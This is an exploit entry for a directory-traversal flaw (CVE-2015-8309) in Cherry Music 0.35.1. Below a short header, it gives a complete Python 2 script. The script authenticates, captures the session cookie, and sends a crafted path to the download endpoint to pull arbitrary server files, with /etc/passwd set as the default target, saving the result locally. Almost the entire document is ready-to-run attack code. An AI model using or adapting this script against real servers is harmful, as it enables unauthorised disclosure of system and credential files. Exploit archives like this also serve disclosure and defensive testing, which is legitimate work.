Cherry Music 0.35.1 - Arbitrary File Disclosure

# Exploit Title: Cherry Music v0.35.1 directory traversal vulnerability allows authenticated users to download arbitrary files
# Date: 11-09-2016
# Exploit Author: feedersec
# Contact: feedersec@gmail.com
# Vendor Homepage: http://www.fomori.org/cherrymusic/index.html
# Software Link: http://www.fomori.org/cherrymusic/versions/cherrymusic-0.35.1.tar.gz
# Version: 0.35.1
# Tested on: ubuntu 14.04 LTS
# CVE : CVE-2015-8309

import urllib2, cookielib, urllib

#set parameters here
username = 'admin'
password = 'Password01'
baseUrl = 'http://localhost:8080/'
targetFile = '/etc/passwd'
downloadFileName = 'result.zip'
####

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
params = urllib.urlencode({'username': username, 'password': password, 'login': 'login'})
req = urllib2.Request(baseUrl, params)
response = opener.open(req) 
for c in cj:
  if c.name == "session_id":
    session_id = c.value

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders.append(('Cookie', 'session_id=' + session_id))
params = urllib.urlencode({'value': '["' + targetFile + '"]'})
request = urllib2.Request(baseUrl + "download", params)
response = opener.open(request).read()
with open(downloadFileName, 'wb') as zipFile:
    zipFile.write(response)